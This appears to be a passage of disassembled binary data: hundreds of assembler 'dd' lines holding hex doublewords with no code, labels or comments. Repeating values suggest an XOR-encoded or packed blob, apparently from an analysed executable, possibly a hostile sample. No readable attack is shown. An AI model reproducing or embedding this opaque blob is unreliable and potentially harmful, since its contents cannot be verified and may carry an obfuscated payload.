		dd 9C6264B1h, 0FC386036h, 15662221h, 0B9D3DDE8h, 3A81DC99h
		dd 89336F83h, 6D63BEBFh, 9CF5AA4Dh, 0EC7B7587h,	1563AD37h
		dd 0F9D12232h, 9C7C0E26h, 0EC4F5587h, 1569AD37h, 0E52F2232h
		dd 0A2AEC782h, 4F1BB026h, 0FC24A4E8h, 0FC58A2ACh, 145C943Dh
		dd 0EA9E8832h, 29ED4544h, 11A2A316h, 75661132h,	1560073Dh
		dd 9B694432h, 15662232h, 0DD8F848Dh, 0FAE7E930h, 22EC5526h
		dd 23F8CDB3h, 0E2677E17h, 23F84FB3h, 0D2E72B17h, 22EC3326h
		dd 1563993Dh, 95068832h, 7507E6D7h, 87BC1889h, 1572F813h
		dd 44F18832h, 9C8559B4h, 0E33487E2h, 0F8BDA447h, 0F66773A4h
		dd 9407C6FFh, 156626DEh, 31529832h, 0BA428CB3h,	4E0B081Ah
		dd 3DC9C9B3h, 58F7C7Eh,	6D668832h, 858DE557h, 56ACFB7Eh
		dd 56D56560h, 0FCED5EB7h, 1566443Eh, 0CE355D12h, 0E78815E1h
		dd 78F82041h, 5566FD63h, 0FEE72232h, 7E5052C5h,	0D6E74333h
		dd 7E5007C5h, 0A85DDB6Bh, 109F0CCFh, 153E0A3Dh,	9E694432h
		dd 15662233h, 0FC0671CBh, 15668821h, 0A5238838h, 0DAB63167h
		dd 7F405F70h, 0E71EDA8Dh, 1A616B9Fh, 156622B8h,	78F7032h
		dd 70668832h, 5D369B16h, 38B9F59Ch, 0D9308CBAh,	5AB0E943h
		dd 0EE5D2508h, 1548A43Dh, 1E8F1132h, 5A668832h,	6F581C48h
		dd 0AEAB5093h, 0EE8F41FBh, 0FC9977DAh, 15664426h, 0C38CBC5Dh
		dd 0D57E8CF0h, 0A80A6856h, 42621EADh, 41B1BA5h,	112FACB9h
		dd 48F8DCBh, 36664432h,	4C9BDD61h, 20B9FE3Dh, 6373ACD9h
		dd 0E25D56F2h, 1578AC3Dh, 9D691132h, 1566882Ah,	156657DBh
		dd 0F8360832h, 7EDD665Fh, 50EF165Eh, 93C110D9h,	70202C29h
		dd 0BD794F5h, 15668DCBh, 759F4432h, 0DDD12D52h,	0C8D39853h
		dd 0FC63711Bh, 15664423h, 8161067Fh, 1CFC0BE8h,	7D456B1Dh
		dd 0A8097085h, 0DAFBAF62h, 0ED60136Fh, 95695BCDh, 1566443Ch
		dd 15662BDBh, 0E0A61E32h, 0C476A792h, 0D56D9C69h, 1548A63Dh
		dd 92691132h, 1566883Ch, 15E74B52h, 1A662232h, 156611BBh
		dd 0D68FE932h, 0FC664432h, 15662222h, 0B3A168A4h, 54B913C5h
		dd 5A02B932h, 0F50B0EEAh, 0E08F8CBFh, 9C698DCCh, 15664426h
		dd 93ADA252h, 15661BDBh, 0E3AD6232h, 7A78BC8Eh,	74B92EF5h
		dd 9669C2CDh, 0EA99775Bh, 6FDD24CEh, 732DBFEEh,	5D53F7B3h
		dd 0C8D30353h, 1A63BD1Bh, 15662AB2h, 17EF1E32h,	75668832h
		dd 0BFD12453h, 17A7A354h, 0A0EF7049h, 109F9683h, 156649DBh
		dd 0CC25C532h, 47C2AA5h, 0FA546858h, 88EB88EAh,	13666801h
		dd 14E31EC7h, 0E0668832h, 9E6997CDh, 15662235h,	1567943Dh
		dd 1A9A8832h, 156665B4h, 18F4232h, 0CF661132h, 7614CF91h
		dd 7CFDDD34h, 0BF66BAD9h, 0F0CDBAD3h, 1AFCD9D1h, 156644B7h
		dd 90ED4332h, 109F0CCFh, 0C8E301CBh, 0FC63BD1Bh, 1566223Ch
		dd 0DCD8C9D3h, 1BF4D42Fh, 5C1D102Dh, 749E2A75h,	15759F3Dh
		dd 1B8F8832h, 7C664432h, 0DF86F09Bh, 7C5E2106h,	78DD308h
		dd 0FD58C4D6h, 144FA73Dh, 73061132h, 198F70B9h,	90664432h
		dd 1A28DFA0h, 82F213B8h, 74A7BE7Eh, 32C3F9B1h, 1A6627CBh
		dd 156717B6h, 15616132h, 884B4432h, 425C9F1Bh, 0A635404Fh
		dd 3D1C3975h, 0FCE61FEBh, 4CAEAA78h, 156619DBh,	31769432h
		dd 971FAFEAh, 0ECCCD79Dh, 19E21E52h, 0FD668832h, 15664434h
		dd 9CA82C81h, 74382827h, 31520964h, 49390E04h, 944226B9h
		dd 156615F6h, 5F50BD32h, 1E8F186Dh, 1B662232h, 675AC059h
		dd 423E5168h, 730620B9h, 37B3F9B3h, 0A4B19052h,	1A035346h
		dd 156644BDh, 47074332h, 39343B88h, 1D940937h, 0E22CC01Eh
		dd 0C08CA3E0h, 3C115F21h, 0ED4FD2E2h, 1C084C37h, 18F420Bh
		dd 0C9661132h, 88F71DD4h, 52B3E1D7h, 7234BEB6h,	850BCD6Eh
		dd 730520CCh, 4207BCB9h, 763A9961h, 0D42D4C43h,	0D6E78AD9h
		dd 0FDC5E31Ch, 3C3DFDBBh, 1F8F4ECAh, 4C668832h,	0A40C5C75h
		dd 2146F4AAh, 9B69BA64h, 1566883Ah, 1564C83Dh, 74062232h
		dd 156408DBh, 15776132h, 0ADA64432h, 0AFC57D79h, 8A333519h
		dd 1D80D190h, 98D5AE4Fh, 172579AFh, 14E41E34h, 0E0668832h
		dd 9B6997CDh, 15662224h, 0D3D91E52h, 156684DBh,	305C7F32h
		dd 0D2331E70h, 0BE52F240h, 88EBE9AEh, 13641D0Eh, 0FCB5DDCAh
		dd 15661121h, 0A4381A2h, 0BAD01117h, 2DD89B35h,	0F25CFCC5h
		dd 1E00A517h, 12E34BF2h, 0ED662232h, 15663DDBh,	90E57D32h
		dd 109F6DEFh, 9E304237h, 75074AE8h, 15E18762h, 4A664432h
		dd 74DCCCB2h, 0EA9845DBh, 156161CDh, 378C4432h,	97BC4E55h
		dd 33FB9CA0h, 75608A69h, 3166FB54h, 0D7D12D60h,	0EA9F706Dh
		dd 5E887E1h, 0FC664432h, 15662239h, 3E55FBCFh, 81B8B0ADh
		dd 0E06DA1F1h, 9069E239h, 15661117h, 1574033Dh,	99694432h
		dd 1566223Eh, 156616DBh, 2C4C2932h, 0FC44C8B8h,	1567AD3Dh
		dd 0FC9E1132h, 15668801h, 11D812CAh, 94662232h,	6C6EB1D8h
		dd 94948955h, 6C6EE4F0h, 0FC9F7C55h, 15661038h,	15770C3Dh
		dd 198F4432h, 0A8662232h, 0BB65847Ah, 21D2CDEAh, 98B24678h
		dd 0EB93CBAFh, 0AA697137h, 0C699E9E5h, 1554C73Dh, 108F2232h
		dd 0BE661132h, 0C78248AAh, 3CBBF1B9h, 1E8F27CBh, 78661132h
		dd 1BBBC940h, 85D2C562h, 1B8FC42Dh, 75661102h, 15EA8761h
		dd 4F664432h, 74B69D3Dh, 3CBB9CB9h, 9C938DCBh, 0EC4F9987h
		dd 0CBE74237h, 31AC08D7h, 5A8D0954h, 0D4E725A5h, 50A65531h
		dd 4CA8F8B3h, 0E44FF615h, 4CA885B3h, 0FCE75C15h, 50A66631h
		dd 15670E3Dh, 469F4432h, 15662289h, 86A59032h, 3C13FC03h
		dd 868DC5F9h, 92135603h, 1A064AEBh, 15669CBBh, 1568AC32h
		dd 2DDF2232h, 99A88A1Ah
		dd 0A376F694h, 0DE337C8Eh, 0D3E7436Ah, 16ED44BDh, 0AC37461Bh
		dd 564662DAh, 9462CBF3h, 4C3530F3h, 4CA8A1CDh, 1571CA3Dh
		dd 90692232h, 15661123h, 156684DBh, 1E21D632h, 0BFD07415h
		dd 472790F5h, 0E9C27B68h, 0EA9A88DBh, 88EBDECDh, 13665D38h
		dd 156699DBh, 59383A32h, 59612E1Dh, 0F99CB3B4h,	6B9A2BFBh
		dd 0C699A99Ch, 156627DBh, 5CB59F32h, 9431D73Dh,	0ED46036h
		dd 11ED14B2h, 11A29016h, 38668832h, 23E65F80h, 13EF2D52h
		dd 1A661132h, 156688B3h, 7488F132h, 5CE309CAh, 0E063E836h
		dd 156687DBh, 88277632h, 8B745727h, 9179065h, 7D80B1ACh
		dd 10CFC1BBh, 1D8F27CBh, 0CE661132h, 0C9FB5621h, 9E27A9EEh
		dd 0EC626BB7h, 3CE01E37h, 75668832h, 156655DBh,	0C7D3F032h
		dd 5289F6A6h, 0C469D36Ch, 6829B6Ah, 1E8E3403h, 4C661132h
		dd 0F3D0B220h, 987FE6EDh, 743FD005h, 157A345Ah,	315A0132h
		dd 0F0EF11CEh, 1562E7B3h, 0F8E71132h, 15668836h, 494268B5h
		dd 754226BBh, 1560943Dh, 97698832h, 15664432h, 9807E9B9h
		dd 152882BFh, 15766134h, 37D24432h, 16B2CF73h, 4DCD11ADh
		dd 0D1F6BB9Bh, 0EA9F95ACh, 976942E3h, 15661134h, 15660C3Dh
		dd 9E074432h, 0EC4303B7h, 1561F837h, 6C3A8832h,	0EA5E32EFh
		dd 118AA33Ah, 9C661132h, 68FAC36h, 0FE664432h, 0CE5E30E5h
		dd 15867974h, 1F6BDD10h, 545825FBh, 128FFE43h, 0E5661132h
		dd 0B2DA5BA1h, 9C358B0Ch, 11A5A3D1h, 96661132h,	9E18CD9h
		dd 29EF1816h, 0DDE74216h, 69E71E60h, 156681DBh,	0DE3D1E32h
		dd 0FCB8E513h, 9E071A50h, 0EC62C1B7h, 9C31B137h, 11A1A3D5h
		dd 94661132h, 15668CDDh, 315AC332h, 3162AB6Eh, 0DDEB9CCEh
		dd 7560887Dh, 1563CA3Dh, 6DD92232h, 7351D938h, 7E326EB3h
		dd 0FCB7BB53h, 1566223Bh, 19002205h, 0C5C6B89Eh, 0AC371400h
		dd 76A90A20h, 11425D03h, 0E7E7D26Bh, 76A96C20h,	1A6B9552h
		dd 4507D88Dh, 0F842A4B3h, 4C6CED55h, 728B9C64h,	0E4671B9Bh
		dd 156D616Ch, 88784432h, 0E04C17AEh, 0C9AA42B0h, 34EBA34Fh
		dd 1A63BD17h, 156623B2h, 0A8E5E932h, 109F9F37h,	0DEE24B32h
		dd 1A662232h, 156609BAh, 15756132h, 8F044432h, 0ED05AE33h
		dd 0E2E4605Dh, 65C376E5h, 20381D58h, 28E3A916h,	0FC63E820h
		dd 15668826h, 5A1BB37Ah, 8FA68C69h, 0C18DD4D5h,	0DEBD23C3h
		dd 9917D593h, 263A719h,	956914CBh, 1566883Fh, 5A94FC52h
		dd 9C691E44h, 15661132h, 1AA7B353h, 156629B4h, 1575CB32h
		dd 60A1132h, 8C81A6ABh,	0D81FA8B8h, 0A5BB1902h,	0DBEA476Fh
		dd 0E0E303CDh, 1A63BD15h, 15663FB5h, 9E007132h,	157460C5h
		dd 0EE774432h, 92957328h, 99A29FD9h, 0D6625E66h, 0EB1888A7h
		dd 9065436Ah, 109F0637h, 0C0E301CAh, 0ED63BD36h, 1567D2DBh
		dd 6E91E32h, 0FC668832h, 1566443Ch, 0D70A2DF2h,	87D01FF9h
		dd 0AB9AEBC2h, 0EE0E7637h, 9C662273h, 4493353Eh, 142A4B3h
		dd 9E79E869h, 0D1E70636h, 15661136h, 0B93D9C37h, 1569AD2Dh
		dd 1352232h, 65DF60A6h,	0BFC8ADACh, 8C3D44DDh, 14DF7354h
		dd 3C661132h, 9669D1FAh, 15664438h, 0D7E74452h,	9E009702h
		dd 0AE35E9C2h, 15664BCDh, 9EDFA3Bh, 11A29016h, 0ED668832h
		dd 60DAFD63h, 0F4A708F7h, 0E2B7E635h, 0C8F09E3h, 943DC821h
		dd 3BACCADBh, 4CAE3835h, 15669CDBh, 17A1E132h, 9FC7401Dh
		dd 0DC049636h, 7045C6BBh, 0C06731C8h, 28E3AB09h, 0E963E820h
		dd 18E389CEh, 0E063BD2Ch, 263A7F5h, 156614CBh, 1A068832h
		dd 156646BBh, 0AB3C7032h, 41D7DD25h, 0FC26E253h, 1566443Ah
		dd 0D291D098h, 0B96A6F6h, 1576885Ah, 198F2432h,	2A662232h
		dd 239277D9h, 203D04EBh, 0FD1806ADh, 15662221h,	0BA4E2DB5h
		dd 0DEE6DE8Bh, 0AE28D5E6h, 0ED768242h, 0E93C5220h, 500EE96Ch
		dd 9C664478h, 7506063Eh, 1AB5C3B2h, 156688B7h, 7F072532h
		dd 1E52D32h, 0FC661132h, 1566883Dh, 0B9552160h,	2EF729BBh
		dd 0EC7A0B7Eh, 1A1EDB7Ch, 15664EBDh, 0AC004232h, 0AE009646h
		dd 0EA0734C8h, 0EC76B5A7h, 108E4237h, 25661132h, 9BF8A396h
		dd 156655DBh, 12DCA532h, 72274D68h, 0C138AB7h, 1B3BDC8Ch
		dd 0FC38D2E2h, 1566113Eh, 5D275F82h, 0BCC560DBh, 743FD576h
		dd 28F3EE53h, 0EC637135h, 3293C1BBh, 940627CBh,	31DD1BEDh
		dd 7C970904h, 741A4F3Ch, 0C0E3ABCBh, 0FC63E836h, 15668826h
		dd 210A4D6Bh, 0EB4F7EB0h, 5CCFCF35h, 75649647h,	5A706379h
		dd 0F8DE4452h, 17E81EBAh, 9E668832h, 219925C5h,	0D1E57B16h
		dd 1FE51E36h, 75668832h, 9A698FB9h, 15662232h, 0C0D3EE53h
		dd 75637136h, 743E96B2h, 304797CDh, 966914CBh, 15668835h
		dd 1567C83Dh, 43932232h, 0D3E7F7BBh, 15668836h,	1562AAB3h
		dd 21E12232h, 29EF4D16h, 0A0997116h, 109F407Bh,	0C2ED4452h
		dd 0EDE39C53h, 1A608855h, 15664CBDh, 17EF2D32h,	75661132h
		dd 0C5997D53h, 1562C13Dh, 47062232h, 1A8F706Ah,	6E668832h
		dd 0E57392C5h, 0E739369Eh, 0A75FD328h, 9867E3EEh, 109F5337h
		dd 156AAE3Dh, 9D691132h, 15668834h, 1566CB3Dh, 0A8ED2232h
		dd 109F15E7h, 0F3E7EE52h, 9400E3C8h, 74C880FCh,	3047A4B9h
		dd 9F698DCBh, 15664429h, 0FDADA952h, 15661123h,	0AD80413Bh
		dd 387F4633h, 7EF28420h, 5B8CD25h, 0E607D264h, 0CEE62496h
		dd 0CBE744C0h, 9E07F250h, 0EC7C7187h, 0B89FBC37h, 156627DBh
		dd 21B9E32h, 7D36655Ch,	4F304693h, 0D5DB776Ah, 3C58D82Fh
		dd 102ED5DAh, 0F1155F12h, 4D9A64BBh, 0E6ED7752h, 156698DBh
		dd 0EDAC0832h, 3945E5DEh, 4303D6BCh, 39A2A656h,	0D5A7258Bh
		dd 1C8E4237h, 93661132h, 0AC2DCA08h, 77AABD88h,	7410936Bh
		dd 3BAFAC67h, 5963C8E5h, 14361339h, 1E2A0FDAh, 753B4165h
		dd 59BF0864h, 195AFB6Dh, 160733F4h, 0EC72DCB7h,	156D6137h
		dd 261D4432h, 697B8BD8h, 0E0C3D4D3h, 0C0EB03C1h, 1A63BD36h
		dd 156623BAh, 9E69E832h, 15668827h, 1561AC52h, 35532232h
		dd 616C576Fh, 9569D6D9h, 15664432h, 118AA153h, 9C4205BBh
		dd 4F7601F8h, 156AC93Dh, 98692232h, 15661134h, 15660B3Dh
		dd 0FCCB4432h, 1566223Dh, 0BBD71978h, 0BD81CF8Ch, 0AE3A1050h
		dd 46933CACh, 15661189h, 0CAEFDF32h, 4A9A3ABBh,	1A374269h
		dd 156611B9h, 0F6E7D132h, 721C3E23h, 0ECD3AB53h, 1A63E828h
		dd 156694B4h, 18F2432h,	68662232h, 7EC42055h, 3EF43B27h
		dd 45DE9B8Eh, 783EBDB9h, 0E9C6A6C6h, 0EA9E0B53h, 15FEC13Dh
		dd 9E062232h, 1575F8E2h, 6B988832h, 18D1730Ah, 99A47D56h
		dd 6055CD28h, 0DD210172h, 2BE7257Ch, 0C8BBFFEFh, 1516943Dh
		dd 73068832h, 51438FB3h, 74B79D3Dh, 1562FDB3h, 1EF8832h
		dd 3B16FE16h, 0FFE74E69h, 14521159h, 3B637AB3h,	3EF2F15h
		dd 0CDE74268h, 7664ACB6h, 45072E87h, 1566408Ah,	9EA02332h
		dd 0D1E53536h, 14E08736h, 0E9664432h, 0F9F97BBh, 58F14CBh
		dd 0D668832h, 0B66E387Ch, 0C570ACDFh, 0BCFBBCDAh, 0FC757AFCh
		dd 0EA99961Fh, 156627DBh, 0B8BE1732h, 0D5A794FFh, 0FC062431h
		dd 15662222h, 0DAAA2554h, 0F7DAA8BCh, 1CCAF79Dh, 78E4D0Bh
		dd 0CDE770C7h, 6089A13Dh, 0D8E34753h, 7563DB26h, 51B4A88h
		dd 1A8FE83Eh, 98664432h, 9AEFBAB8h, 0E6F649FEh,	38A44EA6h
		dd 74062F7Fh, 0A8E54353h, 109F0893h, 0B9E28733h, 1A664431h
		dd 15662BB1h, 0AA697132h
		dd 0BCD8EEF2h, 2BE72512h, 0BFCC8898h, 15EA943Dh, 138F8832h
		dd 34664432h, 0F72AE15Fh, 11DC432Dh, 14668832h,	3172CFE4h
		dd 1562E6B3h, 9D691132h, 1566883Ah, 1564C13Dh, 74062232h
		dd 1566AB60h, 94348832h, 76336036h, 53E90CC3h, 0E90890CEh
		dd 3B97EB67h, 0A2692468h, 0C3BFA2CCh, 249E2053h, 759EB9F5h
		dd 1577C83Dh, 198F2232h, 1F661132h, 7C79299h, 0CE952120h
		dd 1A603A81h, 4707C78Dh, 0FFE60F80h, 4FB6CCACh,	0DAD12D52h
		dd 0FC074E63h, 1566886Bh, 9C69BC52h, 15662233h,	7D3670CEh
		dd 15668E6Dh, 4D4278BBh, 9593426Dh, 440729C3h, 0F8A6CD87h
		dd 0A1ABC431h, 9546CFB2h, 460083F7h, 0E8564E85h, 0FDEE1F54h
		dd 0AF00426Bh, 0A306E467h, 156060A7h, 63074432h, 0AB0CCD86h
		dd 1A07706Dh, 156680BCh, 0F6E72432h, 648CFB3h, 6BC7953h
		dd 11EF8832h, 9E9F2416h, 0A8E543F1h, 109F3873h,	6AE28733h
		dd 75664433h, 0F9D25280h, 14667953h, 11ED8832h,	11A2C716h
		dd 15662DDBh, 0F220732h, 8227E4D6h, 0F2C3FB41h,	0FD4467E4h
		dd 157C993Dh, 0FC068832h, 1566443Fh, 0D48E76ECh, 0E17C2536h
		dd 281A71B8h, 15EF4BEFh, 74662232h, 0C29EACB1h,	1A668E33h
		dd 156609B6h, 0F7E74232h, 7A909A0h, 1B9F3054h, 55FBC953h
		dd 7560224Eh, 156618DAh, 0C2871632h, 69B35C8Ah,	0D1E69F4Bh
		dd 0DDE64B8Fh, 0C699E91Fh, 156641DBh, 350B4E32h, 1A06A117h
		dd 15668EB8h, 15EC4B32h, 0FC662232h, 15661137h,	8FFBACC1h
		dd 2AE625A0h, 5AE22DA2h, 75661132h, 15726163h, 0C2FD4432h
		dd 51804FB0h, 0AD943458h, 91098DDFh, 0A8BC0D36h, 1A3CCC1Fh
		dd 7D07C085h, 156687FDh, 0AE4258BBh, 15662237h,	0FC3DCE33h
		dd 15668826h, 0E535C29Dh, 9F10FD68h, 0D7BD2561h, 20D5EE02h
		dd 0B211BD55h, 156784DBh, 0EDE5E832h, 6AE48762h, 75664432h
		dd 1566AB3Dh, 96691132h, 15668820h, 156649DBh, 0F1559F32h
		dd 81EFAED5h, 8D7FAF26h, 4407E39Ch, 87D62087h, 19EDF902h
		dd 11A20B16h, 0C5E72252h, 9269FE05h, 1566113Eh,	15668FDBh
		dd 0FF61CE32h, 0AB7DF4E7h, 138FBB53h, 96668832h, 9E4A8A49h
		dd 3162A9E9h, 94849860h, 15668CF0h, 11A4C732h, 494236B5h
		dd 9D69BBCBh, 1566883Eh, 1560C03Dh, 9F692232h, 15661132h
		dd 15663FDBh, 2199BC32h, 0D1E57A16h, 14EB1E36h,	0E9668832h
		dd 1B8E2498h, 60662232h, 41545EECh, 50B6611Eh, 0ED240D4Eh
		dd 0DDD12D86h, 4EDE776Ch, 6AE6E9E2h, 9069ADCDh,	156622B2h
		dd 15659C3Dh, 0ED068832h, 0EDDBC753h, 156023E5h, 1552953Dh
		dd 9C698832h, 15664436h, 749AA852h, 6E678CBFh, 1D8F8E32h
		dd 65664432h, 9705EC7Ah, 0EA3CE7B3h, 1AE687E1h,	0FC664432h
		dd 15662238h, 0BCD70CAEh, 0F4DDED78h, 9D34E978h, 1131AAF0h
		dd 944205B9h, 15668CF6h, 19E84B32h, 1A662232h, 156617B8h
		dd 15E88732h, 0FC664432h, 15662222h, 365EC6Bh, 0EEED8441h
		dd 0D720A116h, 0D6599D9Fh, 11B394B9h, 96698DCBh, 15664435h
		dd 0FBE74452h, 0FC071B2Ah, 1566883Eh, 0CC25A3BAh, 47C19A5h
		dd 0FA54F158h, 5C058C37h, 1F996976h, 0ED4F6730h, 176CEE37h
		dd 7662A577h, 9269007Bh, 15662239h, 76DC7752h, 5E75370Dh
		dd 46077920h, 15662689h, 9EBE3832h, 0D1E5AC2Eh,	0FCCDBC36h
		dd 15662235h, 5B81DC54h, 0B8714303h, 156649DBh,	0DE92E332h
		dd 0C2ED393Ah, 0D9EB4400h, 0AC37B964h, 0EA99DDCEh, 0AE35E033h
		dd 15668832h, 4C3D5DBBh, 1575CBC7h, 0A4191132h,	8B4A1B29h
		dd 967CF9FBh, 0F15AC1C8h, 0ADABE0ACh, 0EF95617Ch, 0FC93BBCDh
		dd 15662226h, 0B0269056h, 54623470h, 0EA6F8E4Dh, 2D7CD2A1h
		dd 3B444AA1h, 0F9F3DBBh, 1A8F41CBh, 0BD662232h,	8671591Dh
		dd 647F369Ah, 9BEAD2B6h, 0F0E2A55h, 9C661111h, 7D93AC26h
		dd 1566C432h, 156627DBh, 94C52D32h, 7F9FC337h, 0F0D52432h
		dd 1576CB60h, 0F3EC1132h, 0CFD28B49h, 0A617EA08h, 0AF4736FCh
		dd 743C9B23h, 31333DCDh, 759F41CBh, 1572CA52h, 7F571132h
		dd 6F4117B2h, 0C0EDB2F2h, 427EA83Fh, 0DE20ED79h, 953C2D50h
		dd 740753E6h, 3237B7CDh, 1D8F14CBh, 40668832h, 1FE0B16h
		dd 0EA9738A9h, 943C3506h, 15668CF6h, 156CAD32h,	13A82232h
		dd 0D0F73C2Ch, 0A1AE2527h, 3763C9B9h, 9F6927CBh, 15661125h
		dd 1577003Dh, 198F4432h, 0C662232h, 0ECD8990Ah,	3DA521BAh
		dd 468B064Eh, 15662289h, 0D2AD1032h, 15668831h,	317ACF32h
		dd 1562E6B3h, 73061132h, 45144EB3h, 7401B2B2h, 15629961h
		dd 0FCE71132h, 630BCBC9h, 0D4E79D33h, 630B61C9h, 12E01E69h
		dd 1A668832h, 156645BAh, 98EFDE32h, 109F3337h, 0F4883652h
		dd 9E00331Dh, 0D08F43F8h, 1A99EEF7h, 15668EB9h,	74062432h
		dd 0FC078387h, 15663D34h, 0C2EDEE52h, 15664EDBh, 86C1B532h
		dd 36D8630Ah, 74CC0C67h, 156643DBh, 0C4823732h,	46CE9FF5h
		dd 15746152h, 3B4B4432h, 613C8D01h, 13451009h, 31678A6Bh
		dd 79C5BD49h, 3763AFB9h, 0EA9314CBh, 0AD8DE03h,	3C635D0Eh
		dd 4B620646h, 0AA7906Bh, 1A63910Eh, 156652BCh, 1577CB32h
		dd 82341132h, 85138B78h, 8F937624h, 16D596C8h, 0FC92289Eh
		dd 15668834h, 45D42119h, 98EFDE77h, 1367C6C6h, 5B5E09CAh
		dd 1A2A0066h, 156683B7h, 9400E432h, 3B2A8C4Ah, 15F2C13Dh
		dd 0FC062232h, 1566113Ah, 0ED5B31E6h, 96E51D8Bh, 1576A33Dh
		dd 1F8E1132h, 0A1668832h, 44D586F6h, 9CE02738h,	45074E6Fh
		dd 9642BCB9h, 9A6940F6h, 1566223Fh, 0C9ABA952h,	9E69F029h
		dd 15664432h, 13DB7753h, 94661132h, 795B44F4h, 94884506h
		dd 795BEEDCh, 75934C06h, 9E0757B9h, 0EC6FE5B7h,	128E4237h
		dd 0AA661132h, 5ADA3378h, 0C6EC71F2h, 4E8EA36Bh, 7400ADFFh
		dd 1563EADBh, 1572AD32h, 7ED72232h, 6A9F8E40h, 7DEFC340h
		dd 0EACDB1DFh, 8DA491F7h, 9C347063h, 9EB001F0h,	0D1E56026h
		dd 0F90ED736h, 9C661177h, 0EC3CAC36h, 15664CDBh, 0E218D532h
		dd 21DBBAD1h, 0FCAFB9AFh, 1566443Fh, 1C6C6FC0h,	0CBCBC0Dh
		dd 93A40127h, 1E8F24FAh, 0B9662232h, 0F5E3AC70h, 92562175h
		dd 0B9076DECh, 0AA6942CBh, 0EEED77F2h, 1A66B453h, 1567E1B6h
		dd 18EC2D32h, 0FC661132h, 1566883Ah, 456E27AEh,	0B5941F09h
		dd 91693C0Eh, 0EA9977E1h, 1A4878CEh, 1566FCB6h,	92697132h
		dd 15668836h, 6828FA54h, 1565A43Dh, 9E001132h, 255AE9EDh
		dd 1028C63Dh, 1A062232h, 156615B5h, 0A5DEEE32h,	7491CE7Dh
		dd 93691B0Eh, 0EA99EEA5h, 15670B3Dh, 0FC9F4432h, 15662222h
		dd 7DEEF3E5h, 9C692BD0h, 42839376h, 0CE7F9ABCh,	9769500Eh
		dd 15668D26h, 0CE54BCBh, 0FC662232h, 15661126h,	991A3AABh
		dd 0A6DFB63Eh, 94902444h, 0E91A13D0h, 0BB6A20B3h, 93691E0Eh
		dd 0EA99DD79h, 156C943Dh, 9E068832h, 15EB4BFDh,	74662232h
		dd 91694E0Eh, 0EA997701h, 15664EDBh, 93E35132h,	0F4E4123Bh
		dd 29013421h, 0A8E44B53h, 0E9662236h, 93696B0Eh, 0EA997721h
		dd 15664CDBh, 0FF49F832h, 407637Fh, 11C461B5h, 94064432h
		dd 0E450D0F5h, 138F430Eh, 6C668832h, 26AF982Ah,	92077802h
		dd 403454D8h, 9869D568h, 1566443Eh, 1560A53Dh, 90691132h
		dd 15668832h, 9169B60Bh, 1566265Eh, 75DD42CBh, 0E2683279h
		dd 0C69107E9h, 0A1C5E1B3h, 0CF4FE077h, 3E38769h, 0FC664432h
		dd 15662223h, 4634A19Eh
		dd 0B4D2682Eh, 0AEA25F16h, 8AB52654h, 0AE35E822h, 0EA9977CDh
		dd 1A3D9D1Bh, 15663AB1h, 1575F832h, 0C06B8832h,	52EC66ADh
		dd 0B86A9FC1h, 88608E6Bh, 0EAF13506h, 95062423h, 0AA69A3D5h
		dd 966970CDh, 15668830h, 0FC071F63h, 0EA99DC69h, 15619F3Dh
		dd 9F698832h, 15664433h, 0AA6942CEh, 0DCE370C8h, 16840C3Dh
		dd 9A694432h, 15662233h, 0D0D39CCEh, 0E063711Ah, 155CD25Ah
		dd 3152AB32h, 0E4EFC7BBh, 156B616Ch, 0BF704432h, 6C9BFD15h
		dd 7F6649EEh, 7D5421BBh, 15666B56h, 944236BBh, 711E3506h
		dd 9439B46Fh, 48023CC5h, 1568CB0Eh, 0CF811132h,	0E0E77BD9h
		dd 0A91C7F85h, 17B008AEh, 4600D782h, 0ED66E085h, 58F1F54h
		dd 33662232h, 2BB74C3Fh, 5AC28C83h, 0B655A62Ah,	0BB1D2B1Ch
		dd 9569EC47h, 15668829h, 0FCB8CF52h, 15662220h,	0FA267A7Dh
		dd 0B161FC74h, 0A0034092h, 0EE96B879h, 0FC0763D9h, 15668822h
		dd 9CDDC9E7h, 6A1AD14Ah, 876C3DADh, 3E9E57CEh, 630F85B3h
		dd 0D4E70962h, 2C6634DCh, 0FCE7711Bh, 2C6661DCh, 630FCBB3h
		dd 58F3A62h, 99668832h,	5F4E75DFh, 3B59560Ch, 47986B5Fh
		dd 4495CBD3h, 0E2381D64h, 0FC97A5ECh, 1566113Ah, 0D07F62F1h
		dd 0C0D5421Fh, 1973CDB3h, 0D2E73F75h, 724DC165h, 0FAE78B1Bh
		dd 724D6B65h, 1973D6B3h, 9D69A675h, 1566443Ah, 1564A23Dh
		dd 74061132h, 0EB577F03h, 1A06B303h, 0B3DDF585h, 7476135Ch
		dd 0E9C27BCBh, 0E309F462h, 108EE2E2h, 2163F9F2h, 9D85BCD1h
		dd 11EDBB75h, 11A2A316h, 0FC661132h, 1566883Ah,	4D092D85h
		dd 0BC4B84AFh, 3DA384BFh, 9F698DCBh, 15664433h,	0BCE3A9CEh
		dd 0FC63E82Ah, 1566883Bh, 2A571EE8h, 0DE632377h, 1AA694A9h
		dd 1566E8B7h, 90A0B832h, 109F3AABh, 0C70EE875h,	1AB21295h
		dd 156655B2h, 156ACB32h, 0A5A81132h, 0E905856h,	78C8BAACh
		dd 0A0998FC8h, 109F19E3h, 15669CDBh, 0FA5B4232h, 9BD0302Fh
		dd 1ED2E3DBh, 49764C20h, 0D29FD325h, 5E3AF14h, 0ED63EDF7h
		dd 9D6958CDh, 1566443Fh, 15EB2D52h, 0AC661132h,	3169DBB6h
		dd 281D2C53h, 1EF2232h,	0D4E67116h, 0CFE7E80Ch,	2A98E680h
		dd 0E9A1A354h, 7507705Ch, 156687DBh, 0EF2BA632h, 3884B8BFh
		dd 47C5A65Fh, 0CBD8EFA6h, 0EA078AB9h, 1A06DEE2h, 156617B9h
		dd 0E6A40932h, 0FC619638h, 15662238h, 0C0332B79h, 54974205h
		dd 90074810h, 1DE32DF2h, 1A661133h, 15669BB2h, 1568AD32h
		dd 9DD22232h, 45E4F128h, 0E7C338C7h, 8BE37F0Ah,	38CBA7B9h
		dd 1A0614CBh, 15668EB2h, 0E2BEC532h, 1A76C2E4h,	156615B2h
		dd 0E1D8EE32h, 0D5E325E7h, 151EA73Dh, 95691132h, 15668835h
		dd 0D7ED2252h, 0D307E9B8h, 0EC7E88B7h, 9769C437h, 15664433h
		dd 98F4ACBh, 78FC8E8h, 71668832h, 6BF4288Dh, 0EF2F456h
		dd 9A6A8666h, 3F44F71Bh, 1569AD0Eh, 0DE032232h,	2E354E89h
		dd 9A05B9E4h, 0BEE177B4h, 0C4D3DDD3h, 7563E83Ah, 0FC983F3Dh
		dd 1566443Fh, 0AC0295AAh, 52CFF59Fh, 23BF781Ah,	90EB2586h
